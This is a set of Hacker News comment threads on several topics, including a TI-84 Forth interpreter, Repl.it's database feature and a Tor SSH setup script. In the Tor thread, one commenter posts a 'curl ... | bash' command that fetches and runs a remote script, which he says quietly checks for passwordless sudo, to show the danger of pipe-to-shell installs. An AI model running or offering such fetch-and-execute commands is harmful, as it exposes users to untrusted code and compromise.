Sink and swim - <AUTHOR> http://www.theatlantic.com/doc/200906/bankrupcy

<comment><USER2> Perhaps by "the most bankrupt nation on Earth" she means "the nation with a populace most likely to declare bankruptcy."

Semantics aside, this is a decent overview of personal bankruptcy in the US, although it feels a little light on insight. After reading this I wish I'd seen some suggestions for future US policy or maybe some nuggets of international perspective.</comment>


Software Engineers hard to find - <AUTHOR> http://philcoders.tumblr.com/post/1147683365/new-staff-members

<comment><AUTHOR> It's true, it is really hard to find software engineers nowadays.. Especially those who have real skills and passion for the job.. There are a lot of jobs available for them, but you just can't find one huh?:-) Many students that i have talked to are mislead, they think that web development and programming are just for extremely brilliant people. I think not, one doesn't need to be a genius to make a website, is it not? Who's with me? You just have to really like what you do and always think that if others can do it, there's always a possibility that you can, too, and maybe even better...

[http://philcoders.tumblr.com/post/1147683365/new-staff- membe...](http://philcoders.tumblr.com/post/1147683365/new-staff-members)

</comment><comment><USER2> Finding talented engineers as "mere employees" are hard enough; finding talented engineers suitable to be your co-founder(s) for a startup are even harder.

It took me over a month of searching, interviewing, and painstaking gut instinct checking before I finally found two great guys to build my team.

As losarime said, it's true, it's very hard to find those with passion for the job. My filtering statement/question that I came up with for the interviews:

"I'm not looking for someone to work _for_ this startup -- I'm looking for someone to work _with_ this startup, someone who wants this to be _our_ startup _together_."

It was always very easy to see who genuinely wanted this to be our company together as opposed to those who just wanted a new employer.</comment>


Show HN: I'm 17 and I created a Forth interpreter for the TI-84+ calculator - <AUTHOR> https://github.com/siraben/ti84-forth
Hi HN!
For the past year I've been getting into programming in Z80 assembly (especially for the TI-84+).  More recently I've been learning about the Forth programming language and after a lot of searching online (in vain) for a Forth interpreter for the TI-84, I decided to write one myself.  It's been fun demoing this to others, because it's a very unexpected use of a calculator.
It's my largest project to date, and I'm interested to know what the HN community thinks, please feel free to critique my code!
-- Ben <comment><USER2> Great work and accomplishment, but even better that you are giving Forth some much needed advertising boost: small, light and fast, it's ideal for embedded devices, which is why it has been used for running space ships and powering the OpenBoot PROM in Sun, IBM and Apple systems.

The computer industry needs more people like you.

</comment><comment><USER3> I remember writing a text adventure game on my TI 83+ in high school, thinking I was a hacker extraordinaire. In reality it was just a bunch of If and Print statements.

What you did is truly incredible.

</comment><comment> daniel-cussen Hey, if you like forth, check out the GA144. It's amazing. You can do things with it you can't do with anything else, like make viruses in one word of memory, with several useful applications. Underrated, with a small community, but very fun and rewarding too.

<comment><USER4> > make viruses in one word of memory

OT, but with PDP-11 you could write 103737 (in octal), which propagated across memory (backwards).

10 means "move", first 37 means "from what R7 is pointing to, autodecrementing R7 before copying", second 37 is "to what R7 is poiting to, autodecrementing R7 before copying". R7 is the program counter, so this operation was copied one word (16 bits) before the executing instruction and then control was passed to that new word.

Of course, with GA144 you can have up to 4 commands in a single 18-bit long instruction, so opportunities are better...

</comment></comment><comment><USER5> I started my programming career on a TI 84+ SE. I bought it a year earlier than was required because I had friend in higher level math that had to have them and they showed my how you could program and run right on the device. My parents told me they wouldn't pay for it (it was over $100 IIRC) because I didn't need it yet but that if I did buy it they would reimburse me when I did need it. I wore the labels off the buttons of that thing (I still have it!) and the number of programs I wrote on it numbered in the 100s. I'd write games, solvers, utilities, etc, after some googling I even found some of things I actually posted online [0]. I was very active on a number of TI calculator programming forums and worked on an adventure game with my friend.

I still remember being amazed by xlib [1], a util to give you access to things only assembly programs could do in TI-BASIC. This meant you could do ALL your programming on the calculator itself but leverage things like clearing the screen, drawing a sprite, scroll the screen and more. This added capability blew my mind and I used it heavily in my development. After that I realized you could use this (very crappy, but I didn't know it at the time) "IDE" toolset from TI that ran on my computer. I remember the OS X and Windows versions didn't have feature parity and so I always liked using my friend's Mac because it was easier. Being able to code on the computer and push my code to my calculator was another huge step forward for me but I still loved being able to make tweaks on the go.

I never did jump into Z80 though, it was a little too arcane for me at the time and by this point I'd hit my 10th grade year (Sophomore in High School) and I could finally take the "Intro to Programming" class offered by my school where I learned Java. That really changed things for me, curly braces and the ability to group and abstract code crazy concepts to me but I picked them up fast enough.

I'm going to go ahead and stop here because I realize I've rambled on and this is a pretty off-topic comment as-is without me going into my history of programming.

[0] [http://calcg.org/cgi- bin/files.cgi?action=autha&autha=Josh+S...](http://calcg.org/cgi- bin/files.cgi?action=autha&autha=Josh+Strange)

[1] [http://tibasicdev.wikidot.com/xlib](http://tibasicdev.wikidot.com/xlib)

</comment><comment><USER6> I'm 17 and also _started_ writing a (Asm) forth interpreter, so well done for finishing it.

The code looks readable and pretty clean. Very cool.

If you want to continue down the Z80 route, and have too much time on your hands, I recommend designing a simple IR and building a little compiler/code generator for the Z80 (twas fun for me).

<comment><USER7> What instruction set are you building this for?

<comment><USER6> amd64/x86_64(Whatever): I was only really writing it on the bus as a distraction so I was relatively tempted to write it for MMIX (a la Knuth)

</comment></comment></comment><comment><USER8> Rock on mate - I came from the same place 40 years ago. But. no language is ever complete for me unless I canz Space Invader. I guess your now onto lisp? Do the Space Invader first in your Forth. Chuck is a god.

<comment><AUTHOR> I found out about Lisp a year before Forth! Working through SICP, watching the lectures and of course writing lots of Scheme programs have really helped me improve.

<comment><USER8> But it's weird. It's almost never useful at implementation. It's like Chuck and the guy from TLA+ say. The important thing is just asking THE question. Props to ADA Lovelace for basically inventing that.

</comment></comment></comment><comment><USER9> I had many attempts at writing my language from the age of 14 to the age 17 with no success: the problem I did not any thing about theory (grammars, parsers, ...)!

<comment><AUTHOR> The beauty of Forth is that parsing is trivial, just read a space-delimited word from the input buffer and do a simple string lookup through a linked list. The syntax is whatever you want it to be. For me, I modeled my interpreter/compiler heavily off of the jonesforth implementation in x86 assembly.

</comment></comment><comment><USER10> Cool, how about write some Z80 code for the Microbee computer, its an Australian computer which was very popular with schools in Australia in the 1980's

</comment><comment><USER7> Grear work man, love seeing other young people building cool projects like this, it really shows the good the internet has done for us.</comment>


Six Reasons the Blanket Octopus Is My Favorite Cephalopod - <AUTHOR> https://jellybiologist.com/2019/06/24/six-reasons-the-blanket-octopus-is-my-favorite-cephalopod/ <comment><USER2> The one in the last video looks like it's swimming by flapping its arms. That's pretty nuts if it's not just for show.

Edit: if you like floofy cephalopods, you might enjoy this video of a dumbo octopus and some goofball scientists: [https://youtu.be/GlvGCTpp1tM](https://youtu.be/GlvGCTpp1tM)

</comment><comment><USER3> I feel like this is one Oatmeal comic away from internet fame. I can't think of any other source of viral Cephalopod memes. That is where I learned all about Tardigrades and Mantis Shrimp.

<comment><USER2> I'm a little sad mimic octopuses didn't take off as a meme. [https://xkcd.com/928/](https://xkcd.com/928/) I still think they have great potential.</comment></comment>


Repl.it Database - <AUTHOR> https://blog.repl.it/database <comment><USER4> Whenever I see Repl product announcements, I'm reminded of this quote from Paul Graham.

       If you want to take on a problem as big as the ones I've discussed,
       don't make a direct frontal attack on it. Don't say, for example,
       that you're going to replace email. If you do that you raise too
       many expectations. Your employees and investors will constantly be
       asking "are we there yet?" and you'll have an army of haters waiting
       to see you fail. Just say you're building todo-list software. That
       sounds harmless. People can notice you've replaced email when it's a
       fait accompli.

I wonder if there's something similar going on with Repl, and if so, what their end goal is.

<comment><USER5> The end goal is to move the IDE and all development tooling to the cloud (similar to what GitHub Codespaces is trying to do). All editor defaults, build tools, linting, environment best practices, etc will be provided for you without all the ceremony of setting it up. This will make it easier for new team members to be productive from day 1 and it will allow you to have multiple development environments for each branch of work.

The realization is that if you control the development environment, by introducing seamless integrations with your hosting through things like easy- to-use databases (i.e. vendor lock-in), you also have control over the hosting of applications. That's a pretty lucrative business as we've seen with AWS, GCP, Azure, etc.

Also, there's a trend towards low code/no code, so everything is becoming tiny microservices integrated with other SaaS solutions. Something like Repl.it can help you with the "last mile" of development work when you need build something lightweight and quick.

<comment><USER6> I just thought that i feel like a medieval guild craftsman must have felt during the industrial revolution. We did have all this sharp and complicated tools we installed and configured on our laptops ourselves, spent years in apprenticeship just to learn now to awk or exit vim. Passed the secret knowledge to our own padawans.

And now they are replacing it with what? An IDE in a browser??? that you can just point to and start writing code? just like that??? 8-)

<comment><USER7> At least at this point I don't think the craftsmen need to despair because I don't think the online IDE experience is even close to a good personal setup. It feels more like a solution for devices/locations where you quickly need to get an environment up, which has it's place obviously.

<comment><USER8> I've been programming (professionally) for over 20 years. I now do most of my development in Jupyter, and browser-based IDEs are preferable to me in almost every way.

<comment><USER9> Which language?

<comment><USER8> Almost all in Python at the moment.

</comment></comment></comment></comment></comment></comment></comment><comment><USER10> I've introduced REPL.it into my new job as a teacher, this year.

It is _utterly transformative_.

Multiplayer, in a COVID classroom, means I can easily help any pupil without having to PPE-up and break into their bubble. At the start of every class I post a google quiz whose sole question is "what is your REPL multiplayer link for this class?".

I haven't used many of the other school features for REPL.it. I can think of a few I'd love to see.

Packages are so easy to install. A pupil today told me they'd not really had any luck with their coursework because they couldn't install textract. A few clicks and they had a poetry enabled repl with textract read to go.

REPL.it has brought about a quantum leap in the way we are working with pupils. It is the epitome of how frictionlessness can make an enormous difference.

<comment><USER11> Your post got me intrigued, but I couldn't get any multiplayer to work. Does it only work when signed in?

I think it is cool to offer some functionality to guest users, however they should make it clearer what the limitations are so that people evaluating it get a good sense for the features.

I even created an account, which changed my repl to "anyone can edit" to "forks on edit" apparently? But still no multiplayer?

<comment><USER10> I am signed in.

Multiplayer URLs have "join-" in the path, and are available from the "share" button in the top left.

It would be very handy (and intuitive) if all REPLs were a live read-only window on what the owner was typing. The reload-page-to-get-latest-version thing works, but multiplayer is there and awesome so it seems odd to hide it with a different type of URL that looks almost identical to the regular read- only fork-on-edit one.

<comment><AUTHOR> You're absolutely right! The UX could be so much better where every repl is live and you can request to edit. Working on that.

</comment></comment></comment></comment><comment><USER12> We use repl.it in an AP Computer Science course I co-teach. Incredible tool for students who are learning Java, allowing them to code and collaborate on their Chromebooks, no Java local setup required.

The AP CS course exercises and concepts don't require persistence of data, but this could really open up opportunities for students to create more advanced projects!

<comment><AUTHOR> That's awesome! We've been working with some teachers to develop free curriculum, if you're interested doing something with data would love to chat (we have budget for this).

[https://docs.repl.it/curriculum/Intro](https://docs.repl.it/curriculum/Intro)

<comment><USER13> I have been using repl.it to teach coding to some high school students. Here is some feedback

1\. It would be great if you gave a shell level access to the teacher/paid accounts to manage shared REPLs. When there are 100s of shared URLs to deal with, the UI is very limited to search and find repls.

2\. While I understand the need to simplify UI, it is not clear why "Python" REPL comes with a folder view to the left by "Python + PyGames" one doesn't. Similarly shell is only accessible in certain types of REPLs. I understand there some key combination to start shell, but only works some of the time.

3\. I had a case of one REPL running an infinite loop - none of us could do anything to terminate it.

4\. Once we wrote some code that generated a file. It took us several refresh/logout sequences to make it visible in the file manager - <USER3> support for such use-cases would be helpful.

<comment><AUTHOR> >1\. It would be great if you gave a shell level access to the teacher/paid accounts to manage shared REPLs. When there are 100s of shared URLs to deal with, the UI is very limited to search and find repls.

Like an account wide shell access? That's an interesting idea although not sure about the feasibility since every repl is it's own container.

One thing we've been toying with is a CLI-like tool that let's you manage your account. We can add account-wide grep and things like it there. You can access an early version here: [https://repl.it/~/cli](https://repl.it/~/cli)

>2\. While I understand the need to simplify UI, it is not clear why "Python" REPL comes with a folder view to the left by "Python + PyGames" one doesn't. Similarly shell is only accessible in certain types of REPLs. I understand there some key combination to start shell, but only works some of the time.

This is great feedback and we're already starting to address it. The difference between different environments is annoying. I believe PyGame is the same environment so you might be talking about "Python with Turtle" which currently runs a different environment. We're getting close to addressing all this.

As for the shell it's accessible everywhere now, you can pull it up from the command-bar [https://blog.repl.it/commandbar](https://blog.repl.it/commandbar)

>3\. I had a case of one REPL running an infinite loop - none of us could do anything to terminate it.

That's surprising to hear because we do a lot of work to try to handle infinite loops and make it easy to terminate (try this for example [https://repl.it/@amasad/loop-test](https://repl.it/@amasad/loop-test)). Do you remember exact steps or do you have a link to debug? You can always email me with bugs or feedback: firstname.lastname@example.com

>4\. Once we wrote some code that generated a file. It took us several refresh/logout sequences to make it visible in the file manager - <USER3> support for such use-cases would be helpful.

It's actually quite common use-case to generate files and while incredibly tricky to make it work well I believe we've recently became better at this. Can you give it another shot? Again please email me with the repl if it doesn't work.

Thanks so much, feedback like this is always valuable. You'd be happy to know that a company-wide priority right now is quality, bugs, and reliability. By early next year we'll be much more polished.

<comment><USER13> Thank you for the reply! I will give your suggestions a shot and get back to you.

</comment></comment></comment></comment></comment><comment><USER14> Hey HN! I'm a Repl.it engineer who's been focused on bringing Database to life. Happy to read your comments and answer any questions you might have.

<comment><USER15> This is the first I'm hearing of repl.it and it looks like an amazing resource.

How does this work business-wise? How does it make money?

Edit: Will Julia be supported in the future? This is not good... [https://repl.it/@asemic/ConsiderateBelatedAccounting](https://repl.it/@asemic/ConsiderateBelatedAccounting)

<comment><USER16> It's subscription-based to get advanced features: [https://repl.it/site/pricing](https://repl.it/site/pricing)

</comment></comment></comment><comment><USER17> I have been a user of repl.it for quite some time. I use it occasionally to work on small projects with my younger sister who is a CS major. I would actually really love something like repl.it for my work. There are a ton of places where the normal code, review, deploy, validate, etc lifecycle of development is way too slow for small projects or for prototyping.

<comment><AUTHOR> That's exactly how we use it internally at Repl.it and honestly it's almost like an organizational superpower. We can for example deploy a slack bot to help with deployment in minutes instead of days, and it's all collaborative. Working on internal tools resembles more gardening than building at this point -- constant improvement and evolution.

If you care to chat about this use-case and help us learn more please email me firstname.lastname@example.com

<comment><USER18> I'm really interested; could you point to some walkthrough/demo of such a workflow? I'm having trouble seeing it.

</comment></comment></comment><comment><USER19> Co-organizer of PyATL here ([https://pyatl.dev](https://pyatl.dev)).

This is a great addition to the product. Ive been working on adding repl.it to our toolbox. Is there sone kind of plan that would support a grassroots group like ours? I specially like the ability to have classrooms as we are teaching more and more every week.

</comment><comment><USER20> Unsolicited testimonial: Repl.it is awesome! I'm a paying customer and use it all the time.

Even though I have all the JetBrains IDEs along with VS Code and Visual Studio, if I want to try out something quickly it's faster and easier to do it on Repl.it.

I've also been using Repl.it to post runnable code samples for some of my Stack Overflow answers.

I applied for a job there a couple of months ago and got to (virtually) meet amasad and several of the team members. It didn't turn out to be a fit, but they are great people making a great product and rapidly improving it.

For anyone looking, they are hiring, and yes, the jobs page is a Bash REPL! :-)

</comment><comment><USER21> Cloud9 used to be my primary development environment for anything Node-based or intended for the web. Loved the features and the anywhere-access of an online IDE. Then Amazon bought it and effectively removed their free-tier by billing you for the AWS hours the environment took to run (I know there is an AWS free tier but it is one-time and expires after a year). When looking around for a replacement Repl.it was the only other thing remotely close in features.

The only two issues that I ran into was not having the ability to run local DBs and Chrome reporting the web preview page for my replit as containing malware and not letting me load it. C9 basically just dropped you to a Linux shell where you could install and run your own copy of Mongo or Postgres. This seems like it would satisfy a lot of use cases and running your DB on an external provider isn't too tough anyway. The second issue is probably just par for the course when allowing user executed code and web content to be hosted from your servers although I never got hit with the same on Cloud9.

</comment><comment><USER22> Damn, feels like every other week I see repl.it on the front page of HN with some rad new feature. Y'all are doing awesome work, keep it up.

</comment><comment><USER23> Having a simple database it a great feature for prototyping, but I think having custom Dockerfile support would be even better.

Current PHP support in repl.it pretty limit (Very few extensions are enabled, so you can't connect to real MySQL...). This won't be a problem if advanced users can use there own Dockerfile.

UI wise, I think it would be good if repl.it can adopt a VSCode-like interface and their keybindings. GitHub codespaces and some other cloud coding platform already have this.

Reliability of deployed services should be improved too. I tried use a website monitor to a repl.it with "Always On", but it will still be down several times a day. Each downtime is about 1~2 minutes.

</comment><comment><USER24> I'm quite sad repl.it is used in schools, as its accessibility for the blind is almost nonexistent, or at least it was when I last checked it a few months ago.

They have enough lock in with the collaboration and sharing features that just using a different tool might be difficult.

This is plain old discrimination against disabled students. Don't do it.

<comment><USER25> This is silly. Your argument is purely based comparisons.

If there is a tool that helps 99% of students learn better, don't refuse to use the tool just because it can't help the 1%. I'm NOT saying to forget about the 1%. Also do everything you can to help the 1%. But the 99% shouldn't be artificially slowed down just so they don't get ahead of the 1%.

Sorry if that's controversial. Just seems ridiculous to me to prevent people from learning in whatever way is most effective to them.

</comment></comment><comment><USER26> >Repl.it is already the best place to build your apps. no...

<comment><USER27> Weird to see you downvoted on a forum called "Hacker" News. Who would actually use repl.it to build apps as opposed to the traditional way of having your text editor + compilers installed on a machine you own? I think repl.it is great for prototyping or teaching, but it is NOT the "best place to build your apps". I would doubt repl.it engineers even use it to design their software.

<comment><USER28> _I think repl.it is great for prototyping..._

aka hacking on an app, like people who read Hacker News might do.

</comment></comment></comment><comment><USER29> You can even run Doom on Repl.it [https://repl.it/talk/share/DOOM-1993-on- replit-yes-really/13...](https://repl.it/talk/share/DOOM-1993-on-replit-yes- really/13526)

</comment><comment><USER30> Looks pretty neat! I wonder if multiple repl's can hook up to a singular database, this post makes it sound like it's a 1:1 relationship. Either way Repl stays adding great features.

<comment><USER14> Right now it is 1:1, but we're hearing that people would like to share one database among many repls. Something you can do right now is spin up a repl and have other repls talk to it over HTTP to share a database: [https://docs.repl.it/misc/database#how-do-i-share-a- database...](https://docs.repl.it/misc/database#how-do-i-share-a-database- across-repls)

</comment></comment><comment><USER31> I will say it's eerily similar to EasyDB ([https://news.ycombinator.com/item?id=21587935](https://news.ycombinator.com/item?id=21587935)), including the API, but it only seems to work in Repl it

Did Repl.it acquire them or?

EDIT: My bad it seems to work elsewhere [https://docs.repl.it/misc/database#how-do-i-share-a- database...](https://docs.repl.it/misc/database#how-do-i-share-a-database- across-repls)

</comment><comment><USER32> I really wish they'd merge their Clojure pull request

The performance of that REPL really bombed maybe a year ago now I've had to stop using it or recommending it

<comment><USER33> I want to like repl.it, and it's obviously great for many use cases, but compared to, say, CIDER for Clojure, it's like typing with cement gloves.

Even if it weren't so slow, there are some features I'd need before considering it for even quick/casual coding tasks:

Library loading, Paredit (or parinfer), Flexible eval (sexp, form, selection), Easy help/reference and function signature help (like Eldoc).

</comment></comment><comment><USER34> I love repl.it and want to use it to build and run real apps.

I can't do that without the hosting component (which afaik isn't shipped yet) and I won't write code that locks me into a specific hosting choice, which is what this new "Database" feature seems to be.

Coding to an API of a company that might not be in business in five years isn't wise, no matter how much you like that company.

<comment><USER35> This makes sense, but the Database seems to work mostly like a normal python dictionary. From that perspective, it would be easy to replace with a different solution if required (not trivial, but not hard).

<comment><USER34> I agree, but I'd much rather just write to a non-proprietary Postgres client API once and know that the replacement is literally "update an environment variable" and nothing more.

It's almost certainly something that would need to be done in an SHTF, unscheduled event anyway, so best keep it to zero.

</comment></comment></comment><comment><USER36> Love seeing team Replit respond to feedback and move fast. I am using them for [https://suddenschools.org](https://suddenschools.org) courses and couldn't be happier. Being able to start with the same environment for every student is a huge plus. Keep on crushing it!

</comment><comment><USER37> Repl is a great tool that I have used many times and have directed many friends to. However, it is a bit surprising that I cannot choose a Python version? It defaults to >3.8 when starting a new Python repl

</comment><comment><USER38> I've not used a cloud dev environment since a couple months before Cloud9 changed the terms of service. I see repl.it as a good replacement and absolutely will give it a chance

</comment><comment><USER39> Key-value store: check.

Next obvious step: providing a persistent PostgreSQL database where every customer can create tables, etc, up to a limit in storage or transactions to avoid misuse.

</comment><comment><USER40> Has repl.it ever thought about supporting self-hosted repls? I would kill for a repl.it interface to my servers, even if it only supported one or a few languages.

</comment><comment><USER27> I wish there was a tool that combined the information output of godbolt with the rest of repl.it features for C++. I would pay for such a tool.

</comment><comment><USER41> Tangential but trying out Repl.it for the first time because of this post, is there any way to specify Node version or are you stuck on LTS?

</comment><comment><USER42> Database?! Is it ready for production or still just for trying and teaching ?

</comment><comment><USER43> Cool natural way to encourage signup and paid accounts. Well done!

</comment><comment><USER44> Neat! But I wanted one repl for every database :(

</comment><comment> jack-wang Can REPL be used in industry enterprises?

<comment><AUTHOR> What use-cases are you thinking to use it for?

</comment></comment><comment><USER45> docker-compose.yml

Dockerfiles in general

Terraform

once repl.it has these features (which I am sure it is working on), it will be super powerful</comment>


Show HN: tor_ssh.sh – One command to enable SSH access via Tor - <AUTHOR> https://gitlab.com/grownetics/devops/blob/master/tor_ssh.sh <comment><USER2> Shameless plug: This script I wrote a while ago "automates" setting up a hidden tor ssh service that isn't faulty for ssh-host key enumeration. I'd like to improve it, but I'm not sure which audience I should target. If you could review/try it out and you have any feedback, a GitHub issue or comment here would be very appreciated.

[https://github.com/norpol/opensshd-tor-easy- setup](https://github.com/norpol/opensshd-tor-easy-setup)

</comment><comment><USER3> This works pretty well, especially if you have personal computers behind different NATs. One of the issue is still that you have to distribute the tor domain name out all over the place. You also need to keep the keys safe if you want to keep that domain name.

These two part I found to be more annoying to deal with, although this is true for most VPN solutions (thinking about tinc, wireguard).

<comment><USER4> > One of the issue is still that you have to distribute the tor domain name > out all over the place.

I don't understand why you couldn't have a small utility to take a human memorable password that maps to a weak-ass private key, then ratchet up to a secure keypair on the server once the initial connection is made:

1\. Run utility in "server" mode.

2\. Enter password "I am not the target of a state level actor atm" into utility

3\. Utility maps your weak-ass password to a weak-ass private key, generates the pubkey from that, and consequently creates the Tor hidden service behind which your openssh server can now be accessed.

4\. On the client, run the utility in "client" mode and type in your weak-ass password

5\. Utility maps the password to the server's weakass kepair and generates the corresponding onion address from it.

6\. Utility creates a tunnel over Tor to connect to that onion address.

7\. Server and client are now connected, with no memorization of human unreadable strings. Hurray!

8\. Once connected, the server generates a _secure_ keypair and sends the corresponding _new_ onion addy to the client over the current connection.

9\. Client receives the new onion addy, disconnects, then connects to the new addy.

10\. Repeat for each client. Once all clients are connected, server destroys the original hidden service.

</comment></comment><comment><USER5> NAT traversal is a useful and underrated Tor hidden service use case.

Careful though: installing the version of Tor which is included in Ubuntu's distribution is not recommended, is often very out of date.

Use the Tor project's PPA instead.

<comment><USER6> Exactly this.

Many times people have assumed that Tor is only for 'dark web' and other things that there is no legitimate business using.

But as you say, escaping NAT is a perfect use-case. It's particularly good for escaping CGNAT, as to be honest there aren't many other ways to escape CGNAT and still have a 'listening' server, rather than just an always-open tunnel.

Edit: The Tor Project website has a useful section on how IT professionals use Tor, which covers some more interesting ones: [https://www.torproject.org/about/torusers.html.en#itprofessi...](https://www.torproject.org/about/torusers.html.en#itprofessionals)

</comment></comment><comment><USER7> This is also valuable for debugging CI builds, and it can be more secure than the debugging mode CI services provide when coupled with an ssh key. For example on Travis CI a host is displayed in the logs that anyone can access through ssh.

[https://docs.travis-ci.com/user/running-build-in-debug- mode/](https://docs.travis-ci.com/user/running-build-in-debug-mode/)

</comment><comment><USER8> This line was puzzling:

        # Remove the bogus tor service Ubuntu installs by default

Is there a bug in the upstream package or something? Otherwise this just looks like a big step back from systemd to SysV — without automatic restarts the first time the daemon exits, you're locked out of the server.

<comment><AUTHOR> [https://askubuntu.com/a/903341](https://askubuntu.com/a/903341)

<comment><USER8> Typically I'd put that into a comment right above that line. I'd also really be inclined to install a replacement service instead so you'd get automatic restarts if you aren't very confident that you have another way into the box.

<comment><AUTHOR> Yea, I agree. I actually was thinking before I posted this "Someone will ask about that line, I should just add the link to the comments" haha. (Just added it.)

If you read the discussion in the link, this actually does do that. It just replaces the 'empty' service with the actual tor service. So you do get automatic restarts.

</comment></comment></comment></comment><comment><USER9>
      # Append the hidden service configuration to the Torrc file
      echo -e "HiddenServiceDir /var/lib/tor/onion-ssh/\nHiddenServicePort 22 127.0.0.1:22" > /etc/tor/torrc

Unless the '>' is changed to ">>", this will overwrite the torrc file.

<comment><USER10> The default ubuntu torrc has everything commented out so is effectively blank anyway.

Using ">" instead of ">>" means you don't end up with multiple copies of the same hidden service.

That said, I agree: it should append, but it should first check whether it has already added a hidden service to the file.

<comment><AUTHOR> Exactly, for simplicity since nothing is in there by default, it gets overwritten. To keep the script nice and short I decided not to add that detection. I would happily merge the change if someone decides they care enough to add it.

<comment><USER9> Maybe something like

      if [ $(grep "HiddenServicePort 22" /etc/tor/torrc | wc -l) -eq 0]

<comment><USER10> Or the more idiomatic:

      if grep -q "HiddenServiceDir /var/lib/tor/onion-ssh/" /etc/tor/torrc

<comment><USER9> I wish bash had a ternary operator for extra IOCCC-compliance.

</comment></comment></comment></comment></comment></comment><comment><USER11> I actually presented on something close to this a couple of months ago to the local LUG. I made a raspberry pi tor jump server that would allow you to ssh over tor into your home network to bust through the NAT. My slide deck is [https://content.evernote.com/shard/s84/sh/00920ea8-78a7-4b1a...](https://content.evernote.com/shard/s84/sh/00920ea8-78a7-4b1a-9d9a-7549f1dbee92/632892f26d65098d/res/e97c138c-512c-4961-853b-8a5ca8ec1c4e/PiJump.pdf)

</comment><comment><USER12> tor_ssh.sh – One command to enable SSH access via Tor to _some_ servers: Debian is not the entirety of Linux

</comment><comment><USER6> How come you aren't using ```HiddenServiceVersion 3```?

Onion v2 (16 char addresses) uses old crypto (SHA1/DH/RSA1024) and has now been superseded by Onion v3 (56 char addresses, SHA3/ed25519/curve25519 and many other improvements).

[https://trac.torproject.org/projects/tor/wiki/doc/NextGenOni...](https://trac.torproject.org/projects/tor/wiki/doc/NextGenOnions)

</comment><comment><USER13> Will ssh experience timeouts and connection aborts detailed here [http://sites.inka.de/bigred/devel/tcp- tcp.html](http://sites.inka.de/bigred/devel/tcp-tcp.html) or is that not applicable?

Nice script BTW.

</comment><comment><USER14> There's also torsocks or even tsocks if you need something more battle tested.

EDIT: I stand corrected, see @buildbuildbuild reply.

<comment><USER5> That does the reverse: allows you to connect to public IP addresses through Tor. This solution exposes your local SSH server as a static hidden service without needing to forward ports in a NATed environment.

</comment></comment><comment><USER15> Posted on HN 6 days ago, by same user: (zero comments received).

[https://news.ycombinator.com/item?id=19265301](https://news.ycombinator.com/item?id=19265301)

</comment><comment><USER16> "any server" running ubuntu...

</comment><comment><USER17> I like the theory behind this and the motivation. But this has to stop:

># Usage (as root): $ bash <(curl -s [https://gitlab.com/grownetics/devops/raw/master/tor_ssh.sh](https://gitlab.com/grownetics/devops/raw/master/tor_ssh.sh))

Spoon feeding like this is why Windows has such a disgusting history of malware, and only encourages people to not think about what they are doing.

<comment><USER8> What specific threat do you believe your advice is protecting people against?

<comment><USER18> sudo -n is a start.

Here is one I wrote that shows your internet speed, but will also check to see if you have passwordless sudo. Even without sudo, I could spawn and persist a gateway port ssh proxy outbound to a VPS node, but with sudo, I could do much more.

        curl -A Mozilla -s https://tinyvpn.org/misc/url_test.txt | bash

<comment><USER8> … and you've installed this on Gitlab's servers? If not, the knowledge that people write malicious code is not new but the problem isn't running it using curl but not vetting the source and code before you run it. Focusing on the use of curl distracts attention from the part which matters.

<comment><USER18> I understand what you are saying, but respectfully disagree.

Conditioning people to use `curl | bash` trains them to not review anything and blindly run untrusted code. I have proven this across a very large group of people, including many that are supposed to be security minded. This technique works on nearly all organizations, as most companies and government agencies do not force outbound traffic through a mitm proxy. I have mixed feelings about those devices.

For what it's worth, where the code is running from doesn't really matter. The only advantage to pulling something from gitlab or github, is that I have to commit changes that anyone could see assuming I dont recreate the repo, which I can automate in their API. From any of my own VM's or servers, I can certainly make something look like a .txt that isn't and dynamically changes based on user-agent, remote addr, latency, ttl, etc.. I could even change the response if someone used curl with a fake user-agent, based on timing, but that is another blog post for another day.

<comment><USER8> Fair enough but I would ask whether this is really that much worse than, say, running "npm install" or "pip install" for a package whose author you don't implicitly trust. From my perspective, that time would be better spent educating developers and working to make their tools safer to use — for example, using aws-vault on a Mac means that that a drive-by script cannot harvest your AWS credentials (the key chain requires prompting per-binary and the user cannot bypass it).

<comment><USER18> Tools like pip, pear, gem, etc... are quite bad as well. Unless they are validating gpg checks of files or packages against a trusted source, then you could easily be installing a package from a mirror that has been compromised. In fact, this has happened to python repositories several times.

Even gpg checks when done the way Ubuntu and Redhat do it, is also bad. I see people install the gpg keys from the mirror all the time. If I pop the mirror, I can simply put my own gpg keys in the mirror and a percentage of people will happily install it.

<comment><USER8> GPG adds usability problems and doesn't much help in the case where people have no idea whether the remote author they've never met is trustworthy. In most cases something like a Linux distribution is what you want where things are at least highly visible and a trusted third-party is looking at the update history.

Modern package managers do at least store hashes so your NPM, Python, Rust, etc. packages can depend on other packages with hashes in addition to just a version, which at least forces them to attempt to make the exploit covert enough that it can be deployed to everyone but there are many ways to make something subtly vulnerable. Ultimately, I really think this is coming back to securing the environment so a successful attack gets less. Apple has led the way on protecting things like passwords and mail from other processes running as the same user but it'd be really interesting to see how far you could get running your entire toolchain using the OS' sandboxing.

</comment></comment></comment></comment></comment></comment></comment></comment><comment><USER19> Using SSH over Tor is a supremely dumb idea unless you _really_ need to hide your SSH sessions and you're already using other methods (pre-shared host fingerprint, single-use SSH key) to secure your session.

1) Tor exit node operators will do all kinds of nasty things: e.g. MITM-ing your sessions, refusing to handle certain kinds of traffic, and recording everything.

2) If you use your regular SSH key (which you will, because you needed to use this script to do this), your SSH key fingerprint and thus your identity is still recorded by the remote host. Doh!

3) Everyone at the remote host will think you got haxed. Because you're logging in through Tor. Or else they'll think you're super shady.

That said, Tor is super fun to play around with. Just don't assume anything gives you real protection unless you're careful and really know the ins and outs.

<comment><USER10> 1.) This doesn't go via an exit node, so this point is invalid.

2.) Why is this a problem? You already own the remote host, so you already know your identity.

3.) It will appear to the remote host as a login from the loopback device. And if you set this up you presumably own the remote host anyway so you don't care what its owner thinks.</comment></comment>


South Korea bans raising money through initial coin offerings - <AUTHOR> https://www.reuters.com/article/us-southkorea-bitcoin/south-korea-bans-raising-money-through-initial-coin-offerings-idUSKCN1C408N <comment><USER2> ICO investments are inherently flawed. I simply do not understand why anyone would throw significant money at a startup without them providing legal equity in their company. Sure, the value of their coin may rise for a while, but if they are successful enough, some of them will get acquired by a large corporation with no interest in their cryptocurrency; and they may even get absorbed into an existing product of the corp. This would leave a coin on the market with the name of a company that doesn't even exist.

<comment><USER3> It's musical chairs: just don't be the last one standing when the music stops.

<comment><USER4> Like regular startup investments theses days... I don't want the be the one holding Uber stock after IPO.

<comment><USER5> That would be your pension fund, said bag holder.

